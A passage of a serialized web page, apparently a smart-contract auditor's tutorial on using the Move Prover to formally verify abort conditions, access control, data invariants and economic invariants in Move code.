true;\n}\n",[155573],{"type":26,"tag":83,"props":155574,"children":155575},{"__ignoreMap":8},[155576,155591,155695,155718],{"type":26,"tag":217,"props":155577,"children":155578},{"class":7028,"line":7029},[155579,155583,155587],{"type":26,"tag":217,"props":155580,"children":155581},{"style":7054},[155582],{"type":32,"value":152824},{"type":26,"tag":217,"props":155584,"children":155585},{"style":7054},[155586],{"type":32,"value":155233},{"type":26,"tag":217,"props":155588,"children":155589},{"style":7048},[155590],{"type":32,"value":8064},{"type":26,"tag":217,"props":155592,"children":155593},{"class":7028,"line":6770},[155594,155598,155602,155607,155611,155615,155619,155623,155627,155631,155635,155639,155643,155647,155651,155655,155659,155663,155667,155671,155675,155679,155683,155687,155691],{"type":26,"tag":217,"props":155595,"children":155596},{"style":7054},[155597],{"type":32,"value":153146},{"type":26,"tag":217,"props":155599,"children":155600},{"style":7048},[155601],{"type":32,"value":7051},{"type":26,"tag":217,"props":155603,"children":155604},{"style":7064},[155605],{"type":32,"value":155606},"value_of_U256",{"type":26,"tag":217,"props":155608,"children":155609},{"style":7048},[155610],{"type":32,"value":1851},{"type":26,"tag":217,"props":155612,"children":155613},{"style":7054},[155614],{"type":32,"value":163},{"type":26,"tag":217,"props":155616,"children":155617},{"style":7048},[155618],{"type":32,"value":8380},{"type":26,"tag":217,"props":155620,"children":155621},{"style":7149},[155622],{"type":32,"value":3540},{"type":26,"tag":217,"props":155624,"children":155625},{"style":7064},[155626],{"type":32,"value":152949},{"type":26,"tag":217,"props":155628,"children":155629},{"style":7048},[155630],{"type":32,"value":1851},{"type":26,"tag":217,"props":155632,"children":155633},{"style":7054},[155634],{"type":32,"value":14783},{"type":26,"tag":217,"props":155636,"children":155637},{"style":7048},[155638],{"type":32,"value":9156},{"type":26,"tag":217,"props":155640,"children":155641},{"style":7149},[155642],{"type":32,"value":3540},{"type":26,"tag":217,"props":155644,"children":155645},{"style":7064},[155646],{"type":32,"value":152949},{"type":26,"tag":217,"props":155648,"children":155649},{"style":7048},[155650],{"type":32,"value":1851},{"type":26,"tag":217,"props":155652,"children":155653},{"style":7054},[155654],{"type":32,"value":2255},{"type":26,"tag":217,"props":155656,"children":155657},{"style":7048},[155658],{"type":32,"value":8380},{"type":26,"tag":217,"props":155660,"children":155661},{"style":7149},[155662],{"type":32,"value":70795},{"type":26,"tag":217,"props":155664,"children":155665},{"style":7119},[155666],{"type":32,"value":152904},{"type":26,"tag":217,"props":155668,"children":155669},{"style":7149},[155670],{"type":32,"value":9690},{"type":26,"tag":217,"props":155672,"children":155673},{"style":7119},[155674],{"type":32,"value":152904},{"type":26,"tag":217,"props":155676,"children":155677},{"style":7149},[155678],{"type":32,"value":9690},{"type":26,"tag":217,"props":155680,"children":155681},{"style":7119},[155682],{"type":32,"value":152904},{"type":26,"tag":217,"props":155684,"children":155685},{"style":7149},[155686],{"type":32,"value":9690},{"type":26,"tag":217,"props":155688,"children":155689},{"style":7119},[155690],{"type":32,"value":152904},{"type":26,"tag":217,"props":155692,"children":155693},{"style":7048},[155694],{"type":32,"value":7162},{"type":26,"tag":217,"props":155696,"children":155697},{"class":7028,"line":6779},[155698,155702,155706,155710,155714],{"type":26,"tag":217,"props":155699,"children":155700},{"style":7054},[155701],{"type":32,"value":153444},{"type":26,"tag":217,"props":155703,"children":155704},{"style":7054},[155705],{"type":32,"value":26462},{"type":26,"tag":217,"props":155707,"children":155708},{"style":7149},[155709],{"type":32,"value":11680},{"type":26,"tag":217,"props":155711,"children":155712},{"style":7154},[155713],{"type":32,"value":7902},{"type":26,"tag":217,"props":155715,"children":155716},{"style":7048},[155717],{"type":32,"value":7162},{"type":26,"tag":217,"props":155719,"children":155720},{"class":7028,"line":7140},[155721],{"type":26,"tag":217,"props":155722,"children":155723},{"style":7048},[155724],{"type":32,"value":7184},{"type":26,"tag":39,"props":155726,"children":155727},{},[155728],{"type":32,"value":155729},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":26,"tag":207,"props":155731,"children":155732},{"code":155190},[155733],{"type":26,"tag":83,"props":155734,"children":155735},{"__ignoreMap":8},[155736],{"type":32,"value":155190},{"type":26,"tag":39,"props":155738,"children":155739},{},[155740,155742,155749],{"type":32,"value":155741},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":26,"tag":163,"props":155743,"children":155746},{"href":155744,"rel":155745},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[167],[155747],{"type":32,"value":155748},"spec-lang.md",{"type":32,"value":155750}," in the Move Repository.",{"type":26,"tag":27,"props":155752,"children":155754},{"id":155753},"use-cases",[155755],{"type":32,"value":155756},"Use Cases",{"type":26,"tag":39,"props":155758,"children":155759},{},[155760],{"type":32,"value":155761},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":26,"tag":39,"props":155763,"children":155764},{},[155765],{"type":32,"value":155766},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":26,"tag":607,"props":155768,"children":155770},{"id":155769},"error-conditions",[155771],{"type":32,"value":155772},"Error Conditions",{"type":26,"tag":39,"props":155774,"children":155775},{},[155776,155778,155784],{"type":32,"value":155777},"Taking an example from ",{"type":26,"tag":83,"props":155779,"children":155781},{"className":155780},[],[155782],{"type":32,"value":155783},"std::fixed_point32",{"type":32,"value":155785},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":26,"tag":207,"props":155787,"children":155789},{"code":155788,"language":56139,"meta":8,"className":56140,"style":8},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[155790],{"type":26,"tag":83,"props":155791,"children":155792},{"__ignoreMap":8},[155793,155814,155834,155855,155899,155906,155969,156007],{"type":26,"tag":217,"props":155794,"children":155795},{"class":7028,"line":7029},[155796,155800,155805,155810],{"type":26,"tag":217,"props":155797,"children":155798},{"style":7054},[155799],{"type":32,"value":154328},{"type":26,"tag":217,"props":155801,"children":155802},{"style":7054},[155803],{"type":32,"value":155804}," schema",{"type":26,"tag":217,"props":155806,"children":155807},{"style":7119},[155808],{"type":32,"value":155809}," MultiplyAbortsIf",{"type":26,"tag":217,"props":155811,"children":155812},{"style":7048},[155813],{"type":32,"value":8064},{"type":26,"tag":217,"props":155815,"children":155816},{"class":7028,"line":6770},[155817,155822,155826,155830],{"type":26,"tag":217,"props":155818,"children":155819},{"style":7054},[155820],{"type":32,"value":155821},"          val",{"type":26,"tag":217,"props":155823,"children":155824},{"style":7149},[155825],{"type":32,"value":1473},{"type":26,"tag":217,"props":155827,"children":155828},{"style":7054},[155829],{"type":32,"value":152978},{"type":26,"tag":217,"props":155831,"children":155832},{"style":7048},[155833],{"type":32,"value":7162},{"type":26,"tag":217,"props":155835,"children":155836},{"class":7028,"line":6779},[155837,155842,155846,155851],{"type":26,"tag":217,"props":155838,"children":155839},{"style":7054},[155840],{"type":32,"value":155841},"          multiplier",{"type":26,"tag":217,"props":155843,"children":155844},{"style":7149},[155845],{"type":32,"value":1473},{"type":26,"tag":217,"props":155847,"children":155848},{"style":7119},[155849],{"type":32,"value":155850}," FixedPoint32",{"type":26,"tag":217,"props":155852,"children":155853},{"style":7048},[155854],{"type":32,"value":7162},{"type":26,"tag":217,"props":155856,"children":155857},{"class":7028,"line":7140},[155858,155863,155868,155872,155876,155880,155885,155890,155894],{"type":26,"tag":217,"props":155859,"children":155860},{"style":7054},[155861],{"type":32,"value":155862},"          aborts_if",{"type":26,"tag":217,"props":155864,"children":155865},{"style":7064},[155866],{"type":32,"value":155867}," spec_multiply_u64",{"type":26,"tag":217,"props":155869,"children":155870},{"style":7048},[155871],{"type":32,"value":1851},{"type":26,"tag":217,"props":155873,"children":155874},{"style":7054},[155875],{"type":32,"value":121056},{"type":26,"tag":217,"props":155877,"children":155878},{"style":7048},[155879],{"type":32,"value":7599},{"type":26,"tag":217,"props":155881,"children":155882},{"style":7054},[155883],{"type":32,"value":155884},"multiplier",{"type":26,"tag":217,"props":155886,"children":155887},{"style":7048},[155888],{"type":32,"value":155889},") > MAX_U64 ",{"type":26,"tag":217,"props":155891,"children":155892},{"style":7054},[155893],{"type":32,"value":117078},{"type":26,"tag":217,"props":155895,"children":155896},{"style":7048},[155897],{"type":32,"value":155898}," EMULTIPLICATION;\n",{"type":26,"tag":217,"props":155900,"children":155901},{"class":7028,"line":7165},[155902],{"type":26,"tag":217,"props":155903,"children":155904},{"style":7048},[155905],{"type":32,"value":9210},{"type":26,"tag":217,"props":155907,"children":155908},{"class":7028,"line":7178},[155909,155913,155917,155921,155925,155929,155933,155937,155941,155945,155949,155953,155957,155961,155965],{"type":26,"tag":217,"props":155910,"children":155911},{"style":7054},[155912],{"type":32,"value":154328},{"type":26,"tag":217,"props":155914,"children":155915},{"style":7054},[155916],{"type":32,"value":64784},{"type":26,"tag":217,"props":155918,"children":155919},{"style":7064},[155920],{"type":32,"value":155867},{"type":26,"tag":217,"props":155922,"children":155923},{"style":7048},[155924],{"type":32,"value":1851},{"type":26,"tag":217,"props":155926,"children":155927},{"style":7054},[155928],{"type":32,"value":121056},{"type":26,"tag":217,"props":155930,"children":155931},{"style":7149},[155932],{"type":32,"value":1473},{"type":26,"tag":217,"props":155934,"children":155935},{"style":7054},[155936],{"type":32,"value":152978},{"type":26,"tag":217,"props":155938,"children":155939},{"style":7048},[155940],{"type":32,"value":7599},{"type":26,"tag":217,"props":155942,"children":155943},{"style":7054},[155944],{"type":32,"value":155884},{"type":26,"tag":217,"props":155946,"children":155947},{"style":7149},[155948],{"type":32,"value":1473},{"type":26,"tag":217,"props":155950,"children":155951},{"style":7119},[155952],{"type":32,"value":155850},{"type":26,"tag":217,"props":155954,"children":155955},{"style":7048},[155956],{"type":32,"value":1889},{"type":26,"tag":217,"props":155958,"children":155959},{"style":7149},[155960],{"type":32,"value":1473},{"type":26,"tag":217,"props":155962,"children":155963},{"style":7054},[155964],{"type":32,"value":152978},{"type":26,"tag":217,"props":155966,"children":155967},{"style":7048},[155968],{"type":32,"value":8064},{"type":26,"tag":217,"props":155970,"children":155971},{"class":7028,"line":7389},[155972,155976,155980,155984,155989,155993,155998,156002],{"type":26,"tag":217,"props":155973,"children":155974},{"style":7048},[155975],{"type":32,"value":154568},{"type":26,"tag":217,"props":155977,"children":155978},{"style":7054},[155979],{"type":32,"value":121056},{"type":26,"tag":217,"props":155981,"children":155982},{"style":7149},[155983],{"type":32,"value":9690},{"type":26,"tag":217,"props":155985,"children":155986},{"style":7054},[155987],{"type":32,"value":155988}," multiplier",{"type":26,"tag":217,"props":155990,"children":155991},{"style":7149},[155992],{"type":32,"value":180},{"type":26,"tag":217,"props":155994,"children":155995},{"style":7048},[155996],{"type":32,"value":155997},"value) ",{"type":26,"tag":217,"props":155999,"children":156000},{"style":7149},[156001],{"type":32,"value":113644},{"type":26,"tag":217,"props":156003,"children":156004},{"style":7130},[156005],{"type":32,"value":156006}," 32\n",{"type":26,"tag":217,"props":156008,"children":156009},{"class":7028,"line":7406},[156010],{"type":26,"tag":217,"props":156011,"children":156012},{"style":7048},[156013],{"type":32,"value":9210},{"type":26,"tag":607,"props":156015,"children":156017},{"id":156016},"access-control-policies",[156018],{"type":32,"value":156019},"Access Control Policies",{"type":26,"tag":39,"props":156021,"children":156022},{},[156023],{"type":32,"value":156024},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":26,"tag":39,"props":156026,"children":156027},{},[156028,156030,156036,156038,156043],{"type":32,"value":156029},"For example, in ",{"type":26,"tag":83,"props":156031,"children":156033},{"className":156032},[],[156034],{"type":32,"value":156035},"std::offer",{"type":32,"value":156037}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":26,"tag":65,"props":156039,"children":156040},{},[156041],{"type":32,"value":156042},"or",{"type":32,"value":156044}," the recipient is now allowed.",{"type":26,"tag":207,"props":156046,"children":156048},{"code":156047,"language":56139,"meta":8,"className":56140,"style":8},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[156049],{"type":26,"tag":83,"props":156050,"children":156051},{"__ignoreMap":8},[156052,156069,156077,156085,156093,156141,156197,156241,156307],{"type":26,"tag":217,"props":156053,"children":156054},{"class":7028,"line":7029},[156055,156060,156065],{"type":26,"tag":217,"props":156056,"children":156057},{"style":7054},[156058],{"type":32,"value":156059},"    spec",{"type":26,"tag":217,"props":156061,"children":156062},{"style":7054},[156063],{"type":32,"value":156064}," redeem",{"type":26,"tag":217,"props":156066,"children":156067},{"style":7048},[156068],{"type":32,"value":8064},{"type":26,"tag":217,"props":156070,"children":156071},{"class":7028,"line":6770},[156072],{"type":26,"tag":217,"props":156073,"children":156074},{"style":7033},[156075],{"type":32,"value":156076},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":26,"tag":217,"props":156078,"children":156079},{"class":7028,"line":6779},[156080],{"type":26,"tag":217,"props":156081,"children":156082},{"style":7033},[156083],{"type":32,"value":156084},"      /// cannot redeem the offer.\n",{"type":26,"tag":217,"props":156086,"children":156087},{"class":7028,"line":7140},[156088],{"type":26,"tag":217,"props":156089,"children":156090},{"style":7033},[156091],{"type":32,"value":156092},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":26,"tag":217,"props":156094,"children":156095},{"class":7028,"line":7165},[156096,156101,156105,156109,156113,156118,156122,156127,156132,156137],{"type":26,"tag":217,"props":156097,"children":156098},{"style":7054},[156099],{"type":32,"value":156100},"      aborts_if",{"type":26,"tag":217,"props":156102,"children":156103},{"style":7149},[156104],{"type":32,"value":37846},{"type":26,"tag":217,"props":156106,"children":156107},{"style":7054},[156108],{"type":32,"value":102946},{"type":26,"tag":217,"props":156110,"children":156111},{"style":7048},[156112],{"type":32,"value":7289},{"type":26,"tag":217,"props":156114,"children":156115},{"style":7119},[156116],{"type":32,"value":156117},"Offer",{"type":26,"tag":217,"props":156119,"children":156120},{"style":7048},[156121],{"type":32,"value":7289},{"type":26,"tag":217,"props":156123,"children":156124},{"style":7119},[156125],{"type":32,"value":156126},"Offered",{"type":26,"tag":217,"props":156128,"children":156129},{"style":7048},[156130],{"type":32,"value":156131},">>(",{"type":26,"tag":217,"props":156133,"children":156134},{"style":7054},[156135],{"type":32,"value":156136},"offer_address",{"type":26,"tag":217,"props":156138,"children":156139},{"style":7048},[156140],{"type":32,"value":7669},{"type":26,"tag":217,"props":156142,"children":156143},{"class":7028,"line":7178},[156144,156148,156152,156157,156161,156165,156169,156173,156177,156181,156185,156189,156193],{"type":26,"tag":217,"props":156145,"children":156146},{"style":7054},[156147],{"type":32,"value":156100},{"type":26,"tag":217,"props":156149,"children":156150},{"style":7149},[156151],{"type":32,"value":37846},{"type":26,"tag":217,"props":156153,"children":156154},{"style":7054},[156155],{"type":32,"value":156156},"is_allowed_recipient",{"type":26,"tag":217,"props":156158,"children":156159},{"style":7048},[156160],{"type":32,"value":7289},{"type":26,"tag":217,"props":156162,"children":156163},{"style":7119},[156164],{"type":32,"value":156126},{"type":26,"tag":217,"props":156166,"children":156167},{"style":7048},[156168],{"type":32,"value":100384},{"type":26,"tag":217,"props":156170,"children":156171},{"style":7054},[156172],{"type":32,"value":156136},{"type":26,"tag":217,"props":156174,"children":156175},{"style":7048},[156176],{"type":32,"value":101753},{"type":26,"tag":217,"props":156178,"children":156179},{"style":7149},[156180],{"type":32,"value":56166},{"type":26,"tag":217,"props":156182,"children":156183},{"style":7064},[156184],{"type":32,"value":100718},{"type":26,"tag":217,"props":156186,"children":156187},{"style":7048},[156188],{"type":32,"value":1851},{"type":26,"tag":217,"props":156190,"children":156191},{"style":7054},[156192],{"type":32,"value":92995},{"type":26,"tag":217,"props":156194,"children":156195},{"style":7048},[156196],{"type":32,"value":8697},{"type":26,"tag":217,"props":156198,"children":156199},{"class":7028,"line":7389},[156200,156205,156209,156213,156217,156221,156225,156229,156233,156237],{"type":26,"tag":217,"props":156201,"children":156202},{"style":7054},[156203],{"type":32,"value":156204},"      ensures",{"type":26,"tag":217,"props":156206,"children":156207},{"style":7149},[156208],{"type":32,"value":37846},{"type":26,"tag":217,"props":156210,"children":156211},{"style":7054},[156212],{"type":32,"value":102946},{"type":26,"tag":217,"props":156214,"children":156215},{"style":7048},[156216],{"type":32,"value":7289},{"type":26,"tag":217,"props":156218,"children":156219},{"style":7119},[156220],{"type":32,"value":156117},{"type":26,"tag":217,"props":156222,"children":156223},{"style":7048},[156224],{"type":32,"value":7289},{"type":26,"tag":217,"props":156226,"children":156227},{"style":7119},[156228],{"type":32,"value":156126},{"type":26,"tag":217,"props":156230,"children":156231},{"style":7048},[156232],{"type":32,"value":156131},{"type":26,"tag":217,"props":156234,"children":156235},{"style":7054},[156236],{"type":32,"value":156136},{"type":26,"tag":217,"props":156238,"children":156239},{"style":7048},[156240],{"type":32,"value":7669},{"type":26,"tag":217,"props":156242,"children":156243},{"class":7028,"line":7406},[156244,156248,156252,156256,156261,156265,156270,156274,156278,156282,156286,156290,156294,156298,156302],{"type":26,"tag":217,"props":156245,"children":156246},{"style":7054},[156247],{"type":32,"value":156204},{"type":26,"tag":217,"props":156249,"children":156250},{"style":7054},[156251],{"type":32,"value":26462},{"type":26,"tag":217,"props":156253,"children":156254},{"style":7149},[156255],{"type":32,"value":11680},{"type":26,"tag":217,"props":156257,"children":156258},{"style":7064},[156259],{"type":32,"value":156260}," old",{"type":26,"tag":217,"props":156262,"children":156263},{"style":7048},[156264],{"type":32,"value":1851},{"type":26,"tag":217,"props":156266,"children":156267},{"style":7054},[156268],{"type":32,"value":156269},"global",{"type":26,"tag":217,"props":156271,"children":156272},{"style":7048},[156273],{"type":32,"value":7289},{"type":26,"tag":217,"props":156275,"children":156276},{"style":7119},[156277],{"type":32,"value":156117},{"type":26,"tag":217,"props":156279,"children":156280},{"style":7048},[156281],{"type":32,"value":7289},{"type":26,"tag":217,"props":156283,"children":156284},{"style":7119},[156285],{"type":32,"value":156126},{"type":26,"tag":217,"props":156287,"children":156288},{"style":7048},[156289],{"type":32,"value":156131},{"type":26,"tag":217,"props":156291,"children":156292},{"style":7054},[156293],{"type":32,"value":156136},{"type":26,"tag":217,"props":156295,"children":156296},{"style":7048},[156297],{"type":32,"value":1889},{"type":26,"tag":217,"props":156299,"children":156300},{"style":7149},[156301],{"type":32,"value":180},{"type":26,"tag":217,"props":156303,"children":156304},{"style":7048},[156305],{"type":32,"value":156306},"offered);\n",{"type":26,"tag":217,"props":156308,"children":156309},{"class":7028,"line":7439},[156310],{"type":26,"tag":217,"props":156311,"children":156312},{"style":7048},[156313],{"type":32,"value":9754},{"type":26,"tag":39,"props":156315,"children":156316},{},[156317],{"type":32,"value":156318},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":26,"tag":607,"props":156320,"children":156322},{"id":156321},"complex-mathematical-formulae",[156323],{"type":32,"value":156324},"Complex Mathematical Formulae",{"type":26,"tag":39,"props":156326,"children":156327},{},[156328,156330,156334],{"type":32,"value":156329},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":26,"tag":65,"props":156331,"children":156332},{},[156333],{"type":32,"value":139035},{"type":32,"value":156335}," the output.",{"type":26,"tag":39,"props":156337,"children":156338},{},[156339],{"type":32,"value":156340},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":26,"tag":39,"props":156342,"children":156343},{},[156344,156346,156353],{"type":32,"value":156345},"For example, in our work with ",{"type":26,"tag":163,"props":156347,"children":156350},{"href":156348,"rel":156349},"https://laminar.markets/",[167],[156351],{"type":32,"value":156352},"Laminar Markets",{"type":32,"value":156354},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":26,"tag":607,"props":156356,"children":156358},{"id":156357},"data-invariants",[156359],{"type":32,"value":156360},"Data Invariants",{"type":26,"tag":39,"props":156362,"children":156363},{},[156364,156366,156372,156373,156379,156381,156387,156389,156395],{"type":32,"value":156365},"Formal verification provides the best environment to verify that certain ",{"type":26,"tag":83,"props":156367,"children":156369},{"className":156368},[],[156370],{"type":32,"value":156371},"variables",{"type":32,"value":9438},{"type":26,"tag":83,"props":156374,"children":156376},{"className":156375},[],[156377],{"type":32,"value":156378},"resources",{"type":32,"value":156380}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":26,"tag":83,"props":156382,"children":156384},{"className":156383},[],[156385],{"type":32,"value":156386},"index",{"type":32,"value":156388}," is never greater than 4 using a ",{"type":26,"tag":83,"props":156390,"children":156392},{"className":156391},[],[156393],{"type":32,"value":156394},"struct invariant",{"type":32,"value":180},{"type":26,"tag":207,"props":156397,"children":156399},{"code":156398,"language":56139,"meta":8,"className":56140,"style":8},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[156400],{"type":26,"tag":83,"props":156401,"children":156402},{"__ignoreMap":8},[156403,156419,156435,156442,156449,156464,156489],{"type":26,"tag":217,"props":156404,"children":156405},{"class":7028,"line":7029},[156406,156410,156415],{"type":26,"tag":217,"props":156407,"children":156408},{"style":7154},[156409],{"type":32,"value":12224},{"type":26,"tag":217,"props":156411,"children":156412},{"style":7119},[156413],{"type":32,"value":156414}," Type",{"type":26,"tag":217,"props":156416,"children":156417},{"style":7048},[156418],{"type":32,"value":8064},{"type":26,"tag":217,"props":156420,"children":156421},{"class":7028,"line":6770},[156422,156427,156431],{"type":26,"tag":217,"props":156423,"children":156424},{"style":7054},[156425],{"type":32,"value":156426},"    index",{"type":26,"tag":217,"props":156428,"children":156429},{"style":7149},[156430],{"type":32,"value":1473},{"type":26,"tag":217,"props":156432,"children":156433},{"style":7119},[156434],{"type":32,"value":97273},{"type":26,"tag":217,"props":156436,"children":156437},{"class":7028,"line":6779},[156438],{"type":26,"tag":217,"props":156439,"children":156440},{"style":7048},[156441],{"type":32,"value":7184},{"type":26,"tag":217,"props":156443,"children":156444},{"class":7028,"line":7140},[156445],{"type":26,"tag":217,"props":156446,"children":156447},{"emptyLinePlaceholder":17},[156448],{"type":32,"value":7817},{"type":26,"tag":217,"props":156450,"children":156451},{"class":7028,"line":7165},[156452,156456,156460],{"type":26,"tag":217,"props":156453,"children":156454},{"style":7054},[156455],{"type":32,"value":152824},{"type":26,"tag":217,"props":156457,"children":156458},{"style":7119},[156459],{"type":32,"value":156414},{"type":26,"tag":217,"props":156461,"children":156462},{"style":7048},[156463],{"type":32,"value":8064},{"type":26,"tag":217,"props":156465,"children":156466},{"class":7028,"line":7178},[156467,156472,156477,156481,156485],{"type":26,"tag":217,"props":156468,"children":156469},{"style":7054},[156470],{"type":32,"value":156471},"    invariant",{"type":26,"tag":217,"props":156473,"children":156474},{"style":7054},[156475],{"type":32,"value":156476}," index",{"type":26,"tag":217,"props":156478,"children":156479},{"style":7149},[156480],{"type":32,"value":13147},{"type":26,"tag":217,"props":156482,"children":156483},{"style":7130},[156484],{"type":32,"value":10271},{"type":26,"tag":217,"props":156486,"children":156487},{"style":7048},[156488],{"type":32,"value":7162},{"type":26,"tag":217,"props":156490,"children":156491},{"class":7028,"line":7389},[156492],{"type":26,"tag":217,"props":156493,"children":156494},{"style":7048},[156495],{"type":32,"value":7184},{"type":26,"tag":39,"props":156497,"children":156498},{},[156499,156501,156508,156509,156516],{"type":32,"value":156500},"We were able to verify more complex properties in our recent audits for ",{"type":26,"tag":163,"props":156502,"children":156505},{"href":156503,"rel":156504},"https://layerzero.network/",[167],[156506],{"type":32,"value":156507},"LayerZero",{"type":32,"value":1308},{"type":26,"tag":163,"props":156510,"children":156513},{"href":156511,"rel":156512},"http://ariesmarkets.xyz/",[167],[156514],{"type":32,"value":156515},"Aries Markets",{"type":32,"value":156517},", but the details are left as an exercise to the reader.",{"type":26,"tag":607,"props":156519,"children":156521},{"id":156520},"economic-invariants",[156522],{"type":32,"value":156523},"Economic Invariants.",{"type":26,"tag":39,"props":156525,"children":156526},{},[156527],{"type":32,"value":156528},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":26,"tag":39,"props":156530,"children":156531},{},[156532],{"type":32,"value":156533},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":26,"tag":207,"props":156535,"children":156537},{"code":156536,"language":56139,"meta":8,"className":56140,"style":8},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[156538],{"type":26,"tag":83,"props":156539,"children":156540},{"__ignoreMap":8},[156541,156549,156637,156678,156699,156706,156722,156746,156770,156794],{"type":26,"tag":217,"props":156542,"children":156543},{"class":7028,"line":7029},[156544],{"type":26,"tag":217,"props":156545,"children":156546},{"style":7033},[156547],{"type":32,"value":156548},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":26,"tag":217,"props":156550,"children":156551},{"class":7028,"line":6770},[156552,156557,156562,156566,156571,156575,156579,156583,156588,156592,156596,156600,156604,156608,156612,156616,156620,156624,156628,156633],{"type":26,"tag":217,"props":156553,"children":156554},{"style":7054},[156555],{"type":32,"value":156556},"  fun",{"type":26,"tag":217,"props":156558,"children":156559},{"style":7064},[156560],{"type":32,"value":156561}," no_free_money_theorem",{"type":26,"tag":217,"props":156563,"children":156564},{"style":7048},[156565],{"type":32,"value":1851},{"type":26,"tag":217,"props":156567,"children":156568},{"style":7054},[156569],{"type":32,"value":156570},"coin1_in",{"type":26,"tag":217,"props":156572,"children":156573},{"style":7149},[156574],{"type":32,"value":1473},{"type":26,"tag":217,"props":156576,"children":156577},{"style":7119},[156578],{"type":32,"value":91146},{"type":26,"tag":217,"props":156580,"children":156581},{"style":7048},[156582],{"type":32,"value":7599},{"type":26,"tag":217,"props":156584,"children":156585},{"style":7054},[156586],{"type":32,"value":156587},"coin2_in",{"type":26,"tag":217,"props":156589,"children":156590},{"style":7149},[156591],{"type":32,"value":1473},{"type":26,"tag":217,"props":156593,"children":156594},{"style":7119},[156595],{"type":32,"value":91146},{"type":26,"tag":217,"props":156597,"children":156598},{"style":7048},[156599],{"type":32,"value":1889},{"type":26,"tag":217,"props":156601,"children":156602},{"style":7149},[156603],{"type":32,"value":1473},{"type":26,"tag":217,"props":156605,"children":156606},{"style":7048},[156607],{"type":32,"value":7051},{"type":26,"tag":217,"props":156609,"children":156610},{"style":7119},[156611],{"type":32,"value":120978},{"type":26,"tag":217,"props":156613,"children":156614},{"style":7048},[156615],{"type":32,"value":7599},{"type":26,"tag":217,"props":156617,"children":156618},{"style":7119},[156619],{"type":32,"value":120978},{"type":26,"tag":217,"props":156621,"children":156622},{"style":7048},[156623],{"type":32,"value":8380},{"type":26,"tag":217,"props":156625,"children":156626},{"style":7054},[156627],{"type":32,"value":99705},{"type":26,"tag":217,"props":156629,"children":156630},{"style":7119},[156631],{"type":32,"value":156632}," Pool",{"type":26,"tag":217,"props":156634,"children":156635},{"style":7048},[156636],{"type":32,"value":8064},{"type":26,"tag":217,"props":156638,"children":156639},{"class":7028,"line":6779},[156640,156644,156649,156653,156658,156662,156666,156670,156674],{"type":26,"tag":217,"props":156641,"children":156642},{"style":7154},[156643],{"type":32,"value":68109},{"type":26,"tag":217,"props":156645,"children":156646},{"style":7054},[156647],{"type":32,"value":156648}," share",{"type":26,"tag":217,"props":156650,"children":156651},{"style":7149},[156652],{"type":32,"value":8993},{"type":26,"tag":217,"props":156654,"children":156655},{"style":7064},[156656],{"type":32,"value":156657}," add_liquidity",{"type":26,"tag":217,"props":156659,"children":156660},{"style":7048},[156661],{"type":32,"value":1851},{"type":26,"tag":217,"props":156663,"children":156664},{"style":7054},[156665],{"type":32,"value":156570},{"type":26,"tag":217,"props":156667,"children":156668},{"style":7048},[156669],{"type":32,"value":7599},{"type":26,"tag":217,"props":156671,"children":156672},{"style":7054},[156673],{"type":32,"value":156587},{"type":26,"tag":217,"props":156675,"children":156676},{"style":7048},[156677],{"type":32,"value":7669},{"type":26,"tag":217,"props":156679,"children":156680},{"class":7028,"line":7140},[156681,156686,156690,156695],{"type":26,"tag":217,"props":156682,"children":156683},{"style":7064},[156684],{"type":32,"value":156685},"      remove_liquidity",{"type":26,"tag":217,"props":156687,"children":156688},{"style":7048},[156689],{"type":32,"value":1851},{"type":26,"tag":217,"props":156691,"children":156692},{"style":7054},[156693],{"type":32,"value":156694},"share",{"type":26,"tag":217,"props":156696,"children":156697},{"style":7048},[156698],{"type":32,"value":10025},{"type":26,"tag":217,"props":156700,"children":156701},{"class":7028,"line":7165},[156702],{"type":26,"tag":217,"props":156703,"children":156704},{"style":7048},[156705],{"type":32,"value":16086},{"type":26,"tag":217,"props":156707,"children":156708},{"class":7028,"line":7178},[156709,156714,156718],{"type":26,"tag":217,"props":156710,"children":156711},{"style":7054},[156712],{"type":32,"value":156713},"  